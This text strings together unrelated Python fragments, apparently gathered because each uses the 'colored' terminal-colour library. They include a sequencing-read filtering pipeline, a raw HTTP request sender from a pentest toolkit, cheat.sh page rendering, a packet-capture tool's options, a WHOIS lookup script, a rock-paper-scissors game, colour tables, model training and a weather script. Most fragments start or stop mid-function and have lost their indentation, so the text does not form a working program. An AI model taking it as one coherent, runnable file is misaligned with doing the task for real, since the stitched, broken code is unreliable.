minimap2_cmd = f"minimap2 -ax sr {args.Reference} {for_files[i]} {rev_files[i]} -t {args.threads} > {OutputFolder}/{base}.sam"
f.write(minimap2_cmd + '\n')
os.system(minimap2_cmd)
samtools_cmd1 = f"samtools view -u -f 4 {OutputFolder}/{base}.sam > {OutputFolder}/{base}_filtered.sam"
f.write(samtools_cmd1 + '\n')
os.system(samtools_cmd1)
samtools_cmd2 = f"samtools bam2fq {OutputFolder}/{base}_filtered.sam > {OutputFolder}/{base}_filtered.fastq"
f.write(samtools_cmd2 + '\n')
os.system(samtools_cmd2)
split1_cmd = f"cat {OutputFolder}/{base}_filtered.fastq | grep '^@.*/1$' -A 3 --no-group-separator >{OutputFolder}/{base}_filtered_r1.fastq"
split2_cmd = f"cat {OutputFolder}/{base}_filtered.fastq | grep '^@.*/2$' -A 3 --no-group-separator >{OutputFolder}/{base}_filtered_r2.fastq"
os.system(split1_cmd)
f.write(split1_cmd + '\n')
os.system(split2_cmd)
f.write(split2_cmd + '\n')
delete_cmd1 = f"rm {OutputFolder}/{base}.sam"
os.system(delete_cmd1)
f.write(delete_cmd1 + '\n')
delete_cmd2 = f"rm {OutputFolder}/{base}_filtered.sam"
f.write(delete_cmd2 + '\n')
os.system(delete_cmd2)
delete_cmd3 = f"rm {OutputFolder}/{base}_filtered.fastq"
os.system(delete_cmd3)
f.write(delete_cmd3 + '\n')
print("progress: {}/{}".format(i + 1, len(for_files)))
f.close()
def send(self):
t_urlparse = urlparse(self.url)
if t_urlparse.port:
port = t_urlparse.port
elif t_urlparse.scheme == 'https':
port = 443
else:
port = 80
# not supposed to happen but thanks to AlessandroZ
# https://github.com/gwen001/pentest-tools/pull/3
if ':' in t_urlparse.netloc:
tmp = t_urlparse.netloc.split(':')
netloc = tmp[0]
port = tmp[1]
else:
netloc = t_urlparse.netloc
# print( t_urlparse )
# print( self.url )
# print( port )
# print( '>>>'+self.message+'<<<' )
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if t_urlparse.scheme == 'https':
context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
context.verify_mode = ssl.CERT_NONE
sock = context.wrap_socket(sock, server_hostname=netloc)
sock.settimeout(_timeout)
try:
sock.connect((netloc, port))
except Exception as e:
sys.stdout.write("%s[-] error occurred: %s (%s)%s\n" %
(fg('red'), e, self.url, attr(0)))
return False
sock.sendall(str.encode(self.message))
start = time.time()
try:
datas = self.receive_all(sock)
except Exception as e:
sys.stdout.write("%s[-] error occurred: %s (%s)%s\n" %
(fg('red'), e, self.url, attr(0)))
return False
end = time.time()
try:
sock.shutdown(socket.SHUT_RDWR)
except:
sock.close()
self.response = datas
self.time = (end - start) * 1000
if len(datas):
self.extractDatas()
def _visualize(query, keyword, answers, request_options, html=None): # pylint: disable=too-many-locals
search_mode = bool(keyword)
highlight = not bool(request_options
and request_options.get('no-terminal'))
color_style = request_options.get('style', '')
if color_style not in COLOR_STYLES:
color_style = ''
found = True # if the page was found in the database
editable = False # can generated page be edited on github (only cheat.sheets pages can)
result = ""
for topic, answer in answers: # pylint: disable=too-many-nested-blocks
if topic == 'LIMITED':
result += colored.bg('dark_goldenrod') \
+ colored.fg('yellow_1') \
+ ' ' + answer + ' ' \
+ colored.attr('reset') + "\n"
break
topic_type = get_topic_type(topic)
highlight = (highlight and topic not in [":list", ":bash_completion"]
and topic_type not in ["unknown"])
found = found and not topic_type == 'unknown'
editable = editable or topic_type == "cheat.sheets"
if topic_type == "internal" and highlight:
answer = _colorize_internal(topic, answer, html)
else:
answer = _colorize_ansi_answer(
topic,
answer,
color_style,
highlight_all=highlight,
highlight_code=(topic_type == 'question'
and not request_options.get('add_comments')
and not request_options.get('remove_text')),
unindent_code=request_options.get('unindent_code'))
if search_mode:
if not highlight:
result += "\n[%s]\n" % topic
else:
result += "\n%s%s %s %s%s\n" % (
colored.bg('dark_gray'),
colored.attr("res_underlined"), topic,
colored.attr("res_underlined"), colored.attr('reset'))
result += answer
result = result.strip('\n') + "\n"
if search_mode:
editable = False
repository_button = ''
else:
repository_button = _github_button(topic_type)
if html:
result = _render_html(query, result, editable, repository_button,
request_options)
return result, found
help="Motif hits from MOODS",
default=[],
required=True)
parser.add_argument("-bl",
"--blacklist",
dest='blacklist',
help="Blacklist regions",
required=True)
# set the arguments from the command line to variables in the args object
args = parser.parse_args()
##########################-----------Parameters------------##############################
"""Set up the colors to be used on the display and also what the checpoint borders would look ilke
Also set up the directories. This needs to be changed in the future to makte it easy to set input and output paths"""
tacman_color = colored.fg(226) + colored.attr(1)
# set up some reference directory file locatios
CWD = os.getcwd()
OFD = CWD + "/output"
# If the path does not exists for the output directory, create it
if not os.path.exists(OFD):
os.makedirs(OFD)
# Print the names of the directories for the user
print(stylize("TACMAN: The common working directory is: " + CWD, tacman_color))
print(stylize("TACMAN: The output directory is: " + OFD, tacman_color))
# Set up the various lists that will be used. The first list is the percentile cutoff that wille be used
percentiles = [1, 2, 4, 10, 20, 100]
Description:
copy the champion to Champion directory
Input:
champion: the name of the champion
"""
def promoteChampion(champion):
os.system("rm -f ./progression/champions/*")
os.system("cp ./progression/population/%s.json ./progression/champions/"\
%champion)
"""
MAIN
"""
if __name__ == "__main__":
try:
iteration = int(sys.argv[1])
except:
iteration = 1
for i in range(iteration):
print(
"\n\n%s%s======================== GENERATION" %
(fg("green"), attr("bold")), i + 1,
"=======================%s" % (attr("reset")))
champion = fitnessTest()
print("====================[CHAMPION]=====================")
print(champion)
promoteChampion(champion)
def parse_args():
""" Program arguments """
parser = ArgumentParser(
description="There are three modes of operation \u2192 live : read : write",
usage=f"\n\t{argv[0]} -live <options> | -read <options> | -write <options>",
add_help=False
)
# ---------------- Arguments Groups ------------------
help_options = parser.add_argument_group("%sFor Help%s" % (fg(226), attr(0)))
live_capture = parser.add_argument_group("%sLive Capture%s" % (fg(196), attr(0)))
read_pcap = parser.add_argument_group("%sRead Mode Options%s" % (fg(76), attr(0)))
write_pcap = parser.add_argument_group("%sWrite Mode Options%s" % (fg(39), attr(0)))
write_read_pcap = parser.add_argument_group("%sOptional Arguments for Read/Write Modes%s" % (fg(199), attr(0)))
help_options.add_argument("-h", "--help",action="help",help="Show this help message and exit")
# -------------- Live Capture Options ---------------
live_capture.add_argument("-live", "--live-mode",action="store_true",default=False,help="Perfrom live capture analysis")
live_capture.add_argument("-i", "--interf",nargs="+",help="The interface to listen on (more than one can be specified)")
live_capture.add_argument("-c", "--count",metavar="<NUM>",type=int, default=0,help="The number of packets to capture (default = 0 = infinity)")
live_capture.add_argument("-f", "--filter",metavar="<BPF FITLER>",type=str, default=None,help="Berkeley packet filter to apply to capture")
live_capture.add_argument("-p", "--promis-off",action="store_false",help="Turn off promiscuous mode")
# -------------- Reading PCAP options ---------------
read_pcap.add_argument("-read", "--read-mode",action="store_true", default=False,help="Read a PCAP file for analysis")
read_pcap.add_argument("-r", "--rfile",metavar="<FILENAME>",type=str, default=False,help="name of PCAP file to read for parsing")
read_pcap.add_argument("-rc", "--read-count", metavar="<NUM>",type=int,default=None,help="number of packets to read from pcap file")
read_pcap.add_argument("-hex", "--hex-dump", action="store_true",help="Print out the hex dump of each packet along with packet flow summary")
read_pcap.add_argument("-pc", "--packet-count",action="store_true",default=False,help="Prints the number of the packets within a PCAP file")
read_pcap.add_argument("-no-prn", "--no-print",action="store_true",help="Do not print out traffic flow output to console")
read_pcap.add_argument("-src-ip-cnt", "--source-ip-count",metavar="<IP>",nargs="+",type=str,help="Prints the number of times an IP address was the source IP. Multiple IP addresses can be specified")
read_pcap.add_argument("-dst-ip-cnt", "--destination-ip-count",metavar="<IP>",nargs="+",type=str,help="Prints the number of times an IP addresses was the destination IP. Multiple IP addresses can be specified")
read_pcap.add_argument("-ip-cnt", "--ip-count",metavar="<IP>",nargs="+",type=str,help="Prints the number of times an IP address was the source or destination IP. Multiple IP addresses can be specified")
read_pcap.add_argument("-b", "--before",metavar="<HOUR:MINUTE>",help="Filter for packets that occured before and at the specified time value")
read_pcap.add_argument("-a", "--after",metavar="<HOUR:MINUTE>",help="Filter for packets that occured after and at the specified time value")
read_pcap.add_argument("-tr", "--time-range",nargs="+",metavar="<HOUR:MINUTE>",help="Filter for packets whose hour:minute value falls in between the desired time range")
read_pcap.add_argument("-sd", "--start-date",metavar="<YEAR/MONTH/DAY",help="Filter for packet with a date up to and including the date specified")
read_pcap.add_argument("-ed", "--end-date",metavar="<YEAR/MONTH/DAY",help="Filter for packets with a date that includes the date specified and onwards")
read_pcap.add_argument("-dr","--date-range",nargs="+",metavar="<YEAR/MONTH/DAY",help="Filter for packets with a date that falls in between the two chronological dates specified")
# -------------- Writing PCAP options ---------------
write_pcap.add_argument("-write", "--write-mode",action="store_true", default=None,help="capture live traffic and write to PCAP file (must specify `-c` option)")
write_pcap.add_argument("-w", "--wfile",metavar="<FILENAME>",type=str, default=None,help="name of PCAP file to create")
# -------------- Read && Write Options ----------------
write_read_pcap.add_argument("-src-ip", "--source-ip",metavar="<IP>",type=str,help="Filter packets based on a specified source IP address")
write_read_pcap.add_argument("-not-src-ip", "--not-source-ip",metavar="<IP>",type=str,help="Filter packets that do not contain the specified source IP address")
write_read_pcap.add_argument("-dst-ip", "--destination-ip",metavar="<IP>",type=str,help="Filter packets based on a specified destination IP address")
write_read_pcap.add_argument("-not-dst-ip", "--not-destination-ip",metavar="<IP>",type=str,help="Filter packets that do not contain the specified destination IP address")
write_read_pcap.add_argument("-src-port", "--source-port",metavar="<PORT>",type=str,help="Filter packets based on a specified source port number")
write_read_pcap.add_argument("-not-src-port", "--not-source-port",metavar="<PORT>",type=str,help="Filter packets that do not contain the specified source port number")
write_read_pcap.add_argument("-dst-port", "--destination-port",metavar="<PORT>",type=str,help="Filter packets based on a specified destination port number")
write_read_pcap.add_argument("-not-dst-port", "--not-destination-port",metavar="<PORT>",type=str,help="Filter packets based on a specified destination port number")
write_read_pcap.add_argument("-src-mac", "--source-mac",metavar="<MAC>",type=str,help="Filter packets based on a specified source mac address")
write_read_pcap.add_argument("-not-src-mac", "--not-source-mac",metavar="<MAC>",type=str,help="Filter packets that do not contain the specified source mac address")
write_read_pcap.add_argument("-dst-mac", "--destination-mac",metavar="<MAC>",type=str,help="Filter packets based on a specified destination mac address")
write_read_pcap.add_argument("-not-dst-mac", "--not-destination-mac",metavar="<MAC>",type=str,help="Filter packets that do not contain the specified destination mac address")
write_read_pcap.add_argument("-tcp", "--filter-tcp",action="store_true",default=False,help="Filter TCP packets only")
write_read_pcap.add_argument("-not-tcp", "--not-filter-tcp",action="store_true",default=False,help="Filter for non-TCP packets only")
write_read_pcap.add_argument("-udp", "--filter-udp",action="store_true", default=False,help="Filter UDP packets only")
write_read_pcap.add_argument("-not-udp", "--not-filter-udp",action="store_true", default=False,help="Filter for non-UDP packets only")
write_read_pcap.add_argument("-icmp", "--filter-icmp",action="store_true",default=False,help="Filter ICMP packets only")
write_read_pcap.add_argument("-not-icmp", "--not-filter-icmp",action="store_true",default=False,help="Filter for non-ICMP packets only")
write_read_pcap.add_argument("-arp", "--filter-arp",action="store_true",default=False,help="Filter for ARP packets only")
write_read_pcap.add_argument("-not-arp", "--not-filter-arp",action="store_true",default=False,help="Filter for non-ARP packets only")
write_read_pcap.add_argument("-dns", "--filter-dns",action="store_true",default=False,help="Filter for DNS packets only")
write_read_pcap.add_argument("-not-dns", "--not-filter-dns",action="store_true",default=False,help="Filter for non-DNS packets only")
write_read_pcap.add_argument("-tf", "--tcp-flags",metavar="<TCP FLAG>",nargs="+",help="Filter packets by TCP flag. Seperate each flag by spaces.")
write_read_pcap.add_argument("-le", "--len-less-equal",metavar="<NUM>",type=int,help="Filters for packets with a length that is less than or equal to the specified number")
write_read_pcap.add_argument("-ge", "--len-greater-equal",metavar="<NUM>",type=int,help="Filters for packets with a length that is greater than or equal to the specified number")
write_read_pcap.add_argument("-len-eq", "--len-equal",metavar="<NUM>",type=int,help="Filters for packets with a length that is equal to the specified number")
write_read_pcap.add_argument("-ttl-eq", "--ttl-equal",metavar="<NUM>",type=int,help="Filters for packets with a ttl that is equal to the specified number")
write_read_pcap.add_argument("-sum", "--summary",action="store_true",help="Summary of the packet capture <for read & write mode>")
write_read_pcap.add_argument("-j", "--json",metavar="<FILENAME>",type=str,help="Create JSON file containing capture summary (ip:count, port:count, mac:count)")
if len(argv[1:]) == 0:
parser.print_help()
exit(1)
return parser.parse_args()
from collections import Counter
from tabulate import tabulate
from colour import Color
from colored import bg, attr
from operator import itemgetter
# Read all the ARGB values from a text file
with open('colors.txt') as file:
palette = file.read().splitlines()
# Count the frequency of the most common colours in the file
counter = Counter(palette).most_common()
# Create a table of data appending hex, hue and luminance values
table = []
for argb, count in counter:
# Create color object from the RGB values in ARGB
color = Color('#' + argb[3:10])
table.append((count, bg(color.hex_l) + " " + attr('reset'), argb,
color.hex_l, color.hue, color.luminance))
# Sort the table by hue, then luminance
by_hue = sorted(table, key=itemgetter(4, 5))
# Render it all nicely to the console
print(
tabulate(by_hue,
headers=["Count", "Sample", "ARGB", "RGB", "Hue", "Luminance"],
tablefmt="github"))
def cheat_wrapper(query, request_options=None, html=False):
#
# at the moment, we just remove trailing slashes
# so queries python/ and python are equal
#
query = query.rstrip('/')
query = rewrite_aliases(query)
highlight = not bool(request_options
and request_options.get('no-terminal'))
color_style = request_options.get('style', '')
if color_style not in COLOR_STYLES:
color_style = ''
keyword = None
if '~' in query:
topic = query
pos = topic.index('~')
keyword = topic[pos + 1:]
topic = topic[:pos]
options = ""
if '/' in keyword:
options = keyword[::-1]
options = options[:options.index('/')]
keyword = keyword[:-len(options) - 1]
answers = find_answer_by_keyword(topic, keyword, options=options)
search_mode = True
else:
answers = [(query, get_answer(query, keyword))]
search_mode = False
found = True # if the page was found in the database
editable = False # can generated page be edited on github (only cheat.sheets pages can)
result = ""
for topic, answer in answers:
if topic == 'LIMITED':
result += colored.bg('dark_goldenrod') + colored.fg(
'yellow_1') + ' ' + answer + ' ' + colored.attr('reset') + "\n"
break
if topic in [":list", ":bash_completion"]:
highlight = False
topic_type = get_topic_type(topic)
if topic_type == 'unknown':
found = False
if highlight:
#if topic_type.endswith(" dir"):
# pass
if topic_type == "internal":
answer = colorize_internal(topic, answer, html)
else:
color_style = color_style or "native"
lexer = pygments.lexers.BashLexer
for lexer_name, lexer_value in LEXER.items():
if topic.startswith("%s/" % lexer_name):
color_style = color_style or "monokai"
if lexer_name == 'php':
answer = "<?\n%s?>\n" % answer
lexer = lexer_value
break
formatter = Terminal256Formatter(style=color_style)
answer = pygments_highlight(answer, lexer(), formatter)
if topic_type == "cheat.sheets":
editable = True
if search_mode:
if highlight:
result += "\n%s%s %s %s%s\n" % (
colored.bg('dark_gray'),
colored.attr("res_underlined"), topic,
colored.attr("res_underlined"), colored.attr('reset'))
else:
result += "\n[%s]\n" % topic
result += answer
if search_mode:
result = result[1:]
editable = False
repository_button = ''
else:
repository_button = github_button(topic_type)
if html:
result = result + "\n$"
result = html_wrapper(result)
title = "<title>cheat.sh/%s</title>" % topic
# title += '\n<link rel="stylesheet" href="/files/awesomplete.css" />script src="/files/awesomplete.min.js" async></script>'
# submit button: thanks to http://stackoverflow.com/questions/477691/
submit_button = '<input type="submit" style="position: absolute; left: -9999px; width: 1px; height: 1px;" tabindex="-1" />'
topic_list = ('<datalist id="topics">%s</datalist>' %
("\n".join("<option value='%s'></option>" % x
for x in get_topics_list())))
curl_line = "<span class='pre'>$ curl cheat.sh/</span>"
if query == ':firstpage':
query = ""
form_html = '<form action="/" method="GET"/>%s%s<input type="text" value="%s" name="topic" list="topics" autofocus autocomplete="off"/>%s</form>' % (
submit_button, curl_line, query, topic_list)
edit_button = ''
if editable:
edit_page_link = 'https://github.com/chubin/cheat.sheets/edit/master/sheets/' + topic
edit_button = '<pre style="position:absolute;padding-left:40em;overflow:visible;height:0;">[<a href="%s" style="color:cyan">edit</a>]</pre>' % edit_page_link
result = re.sub("<pre>", edit_button + form_html + "<pre>", result)
result = re.sub("<head>", "<head>" + title, result)
if not request_options.get('quiet'):
result = result.replace(
'</body>', TWITTER_BUTTON + GITHUB_BUTTON + repository_button +
GITHUB_BUTTON_FOOTER + '</body>')
return result, found
ts += inc
t += inc
hp = Trv.calc_hp(curr, ts)
else:
Trv.add_timestamp(ts)
Trv.add_traveltime(tt)
else:
path = Trv.get_path()
start = Trv.get_start()
time = Trv.get_time()
if i == trials - 1:
###########################################################
print(
stylize(hotels[start]['name'],
attr(1) + fg('#ff9933') + bg('black')))
###########################################################
print(
stylize(
df(zip(map(lambda x: places[x]['name'], path),
map(lambda x: round(x, 2), time),
map(lambda x: round(x, 2), Trv.get_travel())),
index=range(1,
len(path) + 1),
columns=['Location', 'Time Spent', 'Travel Time']),
attr(21) + bg('black')))
###########################################################
print(
stylize(f'{ttt:.2f} hrs of Travel Time',
fg('#dd7a09') + attr(21) + bg('black')))
map_path(start, path, time)
"""
Merutochan
http://merutochan.it
"""
# LIBRARIES
import time
import json
import colored
# COLORS
color = colored.fg(226)
color2 = colored.fg(120)
color3 = colored.fg(87)
color4 = colored.fg(82)
reset = colored.attr('reset')
# FUNCTIONS
# Parse day events
def dayschedule(n):
for day in d['events']['week']:
# Check if week day matches
if (day['n'] == n):
# If it is a work day
print(color + day['Name'] + time.strftime(", %d %b %Y - ") +
time.strftime("%H:%M") + reset + "\n")
if (day['Work']):
for e in day['Schedule']:
print('[' + color2 + e['start'] + reset + '~' + color2 +
e['end'] + reset + ']')
def rps(
): #--SCRIPT-- THE ROCK , PAPER AND SCISSORS GAME FROM THE GAME CENTER WHEN THE USER TYPE 'GAME'
point()
print('There was a')
T(0.5)
rock = (
fg('yellow') +
" _________\n---' ____)\n (_____)\n (_____) Rock\n (____)\n---.____(___)\n"
+ attr('reset'))
print(rock)
T(0.5)
print('\n')
T(0.5)
paper = (
fg('yellow') +
" ________ \n---' ____)_____\n _________)\n _________) Paper\n _________)\n---.____________)\n"
+ attr('reset'))
print(paper)
T(0.5)
print('\n')
T(0.5)
scissors = (
fg('yellow') +
" ________ \n---' ___)_____\n ______)\n __________) Scissors\n (____)\n---.____(___)\n"
)
print(scissors + attr('reset'))
T(0.5)
print('\n')
y = ['rock', 'paper', 'scissors']
T(1)
print('Type quit or cancel when you finish')
while True:
x = input('- Your choose : ').lower()
if x.lower() == 'rock':
T(1)
print(rock)
elif x.lower() == 'paper':
T(1)
print(paper)
elif x.lower() == 'scissors':
T(1)
print(scissors)
if x in y:
yy = y[random.randrange(3)]
T(2)
print('- My choose is : ')
if yy == 'rock':
T(2)
print(rock)
elif yy == 'paper':
T(2)
print(paper)
elif yy == 'scissors':
T(2)
print(scissors)
if x == yy:
T(1)
print('WE TIED! ^_^')
elif x == 'rock' and yy == 'scissors':
T(1)
print(fg('green') + 'YOU WIN! D:' + attr('reset'))
elif x == 'paper' and yy == 'rock':
T(1)
print(fg('green') + 'YOU WIN! D:' + attr('reset'))
elif x == 'scissors' and yy == 'paper':
T(1)
print(fg('green') + 'YOU WIN! D:' + attr('reset'))
else:
T(1)
print(fg('red') + 'YOU LOSE! :D' + attr('reset'))
elif x.lower() == 'quit' or x.lower() == 'cancel':
point()
chooseServer('game')
else:
print('Error ,Try again')
T(1)
else:
_domain = False
if not _domain and not len(t_datas['companies']) and not len(
t_datas['emails']):
parser.error('domain or company or email required')
if args.key:
_key = args.key
else:
parser.error('api key is required')
if _domain:
if _verbose:
sys.stdout.write('%s[+] search for domain: %s%s\n' %
(fg('green'), _domain, attr(0)))
url = 'http://api.whoxy.com/?key=' + _key + '&whois=' + _domain
if _verbose:
print(url)
r = requests.get(url)
t_json = r.json()
# print(t_json)
extractDatas(t_json)
if _verbose:
print(t_datas)
for company in t_datas['companies']:
page = 1
company = company.replace(' ', '+')
if _verbose:
sys.stdout.write('%s[+] search for company: %s%s\n' %
def main():
colors = (
"#000000",
"#800000",
"#008000",
"#808000",
"#000080",
"#800080",
"#008080",
"#c0c0c0",
"#808080",
"#ff0000",
"#00ff00",
"#ffff00",
"#0000ff",
"#ff00ff",
"#00ffff",
"#ffffff",
"#000000",
"#00005f",
"#000087",
"#0000af",
"#0000d7",
"#0000ff",
"#005f00",
"#005f5f",
"#005f87",
"#005faf",
"#005fd7",
"#005fff",
"#008700",
"#00875f",
"#008787",
"#0087af",
"#0087d7",
"#0087ff",
"#00af00",
"#00af5f",
"#00af87",
"#00afaf",
"#00afd7",
"#00afff",
"#00d700",
"#00d75f",
"#00d787",
"#00d7af",
"#00d7d7",
"#00d7ff",
"#00ff00",
"#00ff5f",
"#00ff87",
"#00ffaf",
"#00ffd7",
"#00ffff",
"#5f0000",
"#5f005f",
"#5f0087",
"#5f00af",
"#5f00d7",
"#5f00ff",
"#5f5f00",
"#5f5f5f",
"#5f5f87",
"#5f5faf",
"#5f5fd7",
"#5f5fff",
"#5f8700",
"#5f875f",
"#5f8787",
"#5f87af",
"#5f87d7",
"#5f87ff",
"#5faf00",
"#5faf5f",
"#5faf87",
"#5fafaf",
"#5fafd7",
"#5fafff",
"#5fd700",
"#5fd75f",
"#5fd787",
"#5fd7af",
"#5fd7d7",
"#5fd7ff",
"#5fff00",
"#5fff5f",
"#5fff87",
"#5fffaf",
"#5fffd7",
"#5fffff",
"#870000",
"#87005f",
"#870087",
"#8700af",
"#8700d7",
"#8700ff",
"#875f00",
"#875f5f",
"#875f87",
"#875faf",
"#875fd7",
"#875fff",
"#878700",
"#87875f",
"#878787",
"#8787af",
"#8787d7",
"#8787ff",
"#87af00",
"#87af5f",
"#87af87",
"#87afaf",
"#87afd7",
"#87afff",
"#87d700",
"#87d75f",
"#87d787",
"#87d7af",
"#87d7d7",
"#87d7ff",
"#87ff00",
"#87ff5f",
"#87ff87",
"#87ffaf",
"#87ffd7",
"#87ffff",
"#af0000",
"#af005f",
"#af0087",
"#af00af",
"#af00d7",
"#af00ff",
"#af5f00",
"#af5f5f",
"#af5f87",
"#af5faf",
"#af5fd7",
"#af5fff",
"#af8700",
"#af875f",
"#af8787",
"#af87af",
"#af87d7",
"#af87ff",
"#afaf00",
"#afaf5f",
"#afaf87",
"#afafaf",
"#afafd7",
"#afafff",
"#afd700",
"#afd75f",
"#afd787",
"#afd7af",
"#afd7d7",
"#afd7ff",
"#afff00",
"#afff5f",
"#afff87",
"#afffaf",
"#afffd7",
"#afffff",
"#d70000",
"#d7005f",
"#d70087",
"#d700af",
"#d700d7",
"#d700ff",
"#d75f00",
"#d75f5f",
"#d75f87",
"#d75faf",
"#d75fd7",
"#d75fff",
"#d78700",
"#d7875f",
"#d78787",
"#d787af",
"#d787d7",
"#d787ff",
"#d7af00",
"#d7af5f",
"#d7af87",
"#d7afaf",
"#d7afd7",
"#d7afff",
"#d7d700",
"#d7d75f",
"#d7d787",
"#d7d7af",
"#d7d7d7",
"#d7d7ff",
"#d7ff00",
"#d7ff5f",
"#d7ff87",
"#d7ffaf",
"#d7ffd7",
"#d7ffff",
"#ff0000",
"#ff005f",
"#ff0087",
"#ff00af",
"#ff00d7",
"#ff00ff",
"#ff5f00",
"#ff5f5f",
"#ff5f87",
"#ff5faf",
"#ff5fd7",
"#ff5fff",
"#ff8700",
"#ff875f",
"#ff8787",
"#ff87af",
"#ff87d7",
"#ff87ff",
"#ffaf00",
"#ffaf5f",
"#ffaf87",
"#ffafaf",
"#ffafd7",
"#ffafff",
"#ffd700",
"#ffd75f",
"#ffd787",
"#ffd7af",
"#ffd7d7",
"#ffd7ff",
"#ffff00",
"#ffff5f",
"#ffff87",
"#ffffaf",
"#ffffd7",
"#ffffff",
"#080808",
"#121212",
"#1c1c1c",
"#262626",
"#303030",
"#3a3a3a",
"#444444",
"#4e4e4e",
"#585858",
"#626262",
"#6c6c6c",
"#767676",
"#808080",
"#8a8a8a",
"#949494",
"#9e9e9e",
"#a8a8a8",
"#b2b2b2",
"#bcbcbc",
"#c6c6c6",
"#d0d0d0",
"#dadada",
"#e4e4e4",
"#eeeeee"
)
for color in colors:
print (
"{}This text is colored: {}{}".format(
fg(color),
color,
attr("reset")))
print (
"{}This text is colored: {}{}".format(
bg(color),
color,
attr("reset")))
time.sleep(0.1)
def color_val(files):
print ("Alright, so now we are going to choose R,G, and B values to check for.")
print
print ("The program will go through the image pixel by pixel and check whether the R,G,or B values are greater than the number you provided.")
print
print ("This operation will return TRUE or FALSE and change the pixels color to black or white respectively.")
print ("(telling you whether that pixel has matched the parameters you have selected or not)")
print
print ("After you have completed this step, we will select two colors to outline the sections that match and fill the space around them.")
print
while True:
try:
rl = int(input(("Enter an %sR%s value to check for (between 0-255): ") % (fg(1), attr(0))))
if 0 <= rl <= 255:
break
else:
print ("%sSorry%s that's not in range. Let's try again" % (fg(1), attr(0)))
except ValueError:
print ("%sOops!%s That was not a valid number. Let's try again..." % (fg(1), attr(0)))
while True:
try:
gl = int(input(("Enter an %sG%s value to check for (between 0-255): ") % (fg(10), attr(0))))
if 0 <= gl <= 255:
break
else:
print ("%sSorry%s that's not in range. Let's try again" % (fg(1), attr(0)))
except ValueError:
print ("%sOops!%s That was not a valid number. Let's try again..." % (fg(1), attr(0)))
while True:
try:
bl = int(input(("Enter an %sB%s value to check for (between 0-255): ") % (fg(21), attr(0))))
if 0 <= bl <= 255:
break
else:
print ("%sSorry%s that's not in range. Let's try again" % (fg(1), attr(0)))
except ValueError:
print ("%sOops!%s That was not a valid number. Let's try again..." % (fg(1), attr(0)))
print
print ("%sCool%s, now that the images have been processed, we have to choose a fill and outline color" % (fg(10), attr(0)))
print
print ("%sLet's start with the outline,%s " % (fg(13), attr(0)))
while True:
try:
outline_r = int(input(("Enter an %sR%s value for the outline (between 0-255): ") % (fg(1), attr(0))))
if 0 <= outline_r <= 255:
break
else:
print ("%sSorry%s that's not in range. Let's try again" % (fg(1), attr(0)))
except ValueError:
print ("%sOops!%s That was not a valid number. Let's try again..." % (fg(1), attr(0)))
while True:
try:
outline_g = int(input(("Enter an %sG%s value for the outline (between 0-255): ") % (fg(10), attr(0))))
if 0 <= outline_g <= 255:
break
else:
print ("%sSorry%s that's not in range. Let's try again" % (fg(1), attr(0)))
except ValueError:
print ("%sOops!%s That was not a valid number. Let's try again..." % (fg(1), attr(0)))
while True:
try:
outline_b = int(input(("Enter an %sB%s value for the outline (between 0-255): ") % (fg(21), attr(0))))
if 0 <= outline_b <= 255:
break
else:
print ("%sSorry%s that's not in range. Let's try again" % (fg(1), attr(0)))
except ValueError:
print ("%sOops!%s That was not a valid number. Let's try again..." % (fg(1), attr(0)))
outline = (outline_r, outline_g, outline_b)
print ("Your outline color is : RGB( " + str(outline[0]) + ", " + str(outline[1]) + ", " + str(outline[2]) +" )" )
print ("")
print ("%sNow lets do the fill,%s" % (fg(13), attr(0)))
while True:
try:
fill_r = int(input(("Enter an %sR%s value for the fill (between 0-255): ") % (fg(1), attr(0))))
if 0 <= fill_r <= 255:
break
else:
print ("%sSorry%s that's not in range. Let's try again" % (fg(1), attr(0)))
except ValueError:
print ("%sOops!%s That was not a valid number. Let's try again..." % (fg(1), attr(0)))
while True:
try:
fill_g = int(input(("Enter an %sG%s value for the fill (between 0-255): ") % (fg(10), attr(0))))
if 0 <= fill_g <= 255:
break
else:
print ("%sSorry%s that's not in range. Let's try again" % (fg(1), attr(0)))
except ValueError:
print ("%sOops!%s That was not a valid number. Let's try again..." % (fg(1), attr(0)))
while True:
try:
fill_b = int(input(("Enter an %sB%s value for the fill (between 0-255): ") % (fg(21), attr(0))))
if 0 <= fill_b <= 255:
break
else:
print ("%sSorry%s that's not in range. Let's try again" % (fg(1), attr(0)))
except ValueError:
print ("%sOops!%s That was not a valid number. Let's try again..." % (fg(1), attr(0)))
fill = (fill_r, fill_g, fill_b)
print ("Your fill color is : RGB( " + str(fill[0]) + ", " + str(fill[1]) + ", " + str(fill[2]) +" )")
return (True, (files, rl, gl, bl, outline, fill))
import json
import functools
import shutil
import colored
from pygments import highlight, lexers, formatters
from pygments import styles
STYLE_NAMES = list(styles.get_all_styles()) + ['none']
PARENT_ZNODE_STYLE = angry = colored.fg("blue") + colored.attr("bold")
def chunks(sequence, num_chunks):
"""Yield successive n-sized chunks from l."""
for i in range(0, len(sequence), num_chunks):
yield sequence[i:i + num_chunks]
def columnize(items, nb_columns):
"""Format the argument items in columns, using the current terminal width"""
items_lines = chunks(items, nb_columns)
term_width, _ = shutil.get_terminal_size()
col_width = int(term_width / nb_columns)
lines = '\n'.join([
"".join(item.ljust(col_width) for item in item_line)
for item_line in items_lines
])
return lines
# Define model and optimizer
device = xm.xla_device()
network = CancerNet(features=2560).to(device)
optimizer = Adam([{'params': network.efn.parameters(), 'lr': LR[0]},
{'params': network.dense_output.parameters(), 'lr': LR[1]}])
# Train the model on one TPU core
print("STARTING TRAINING ...\n")
start = time.time()
train_batches = len(train_loader) - 1
for epoch in range(EPOCHS):
fonts = (fg(48), attr('reset'))
print(("EPOCH %s" + str(epoch+1) + "%s") % fonts)
batch = 1
network.train()
for train_batch in train_loader:
train_img, train_targ = train_batch
train_targ = train_targ.view(-1, 1)
train_img, train_targ = train_img.to(device), train_targ.to(device)
if batch >= train_batches: break
train_preds = network.forward(train_img)
train_acc = acc(train_targ, train_preds)
train_loss = bce(train_targ, train_preds)
optimizer.zero_grad()
def get_red_message(message):
return colored.stylize(message,
colored.fg("red") + colored.attr("bold"))
print(" Tweeted: %s" % message)
return
if __name__ == "__main__":
os.system("clear")
start_time = time.time()
zeus = Zeus()
print(" CTMO ZEUS Weather System v2.0")
print()
res = attr("reset")
current_status = zeus.get_current_status()
print()
astronomical_twilight_begin = current_status["astronomical_twilight_begin"]
nautical_twilight_begin = current_status["nautical_twilight_begin"]
civil_twilight_begin = current_status["civil_twilight_begin"]
sunrise = current_status["sunrise"]
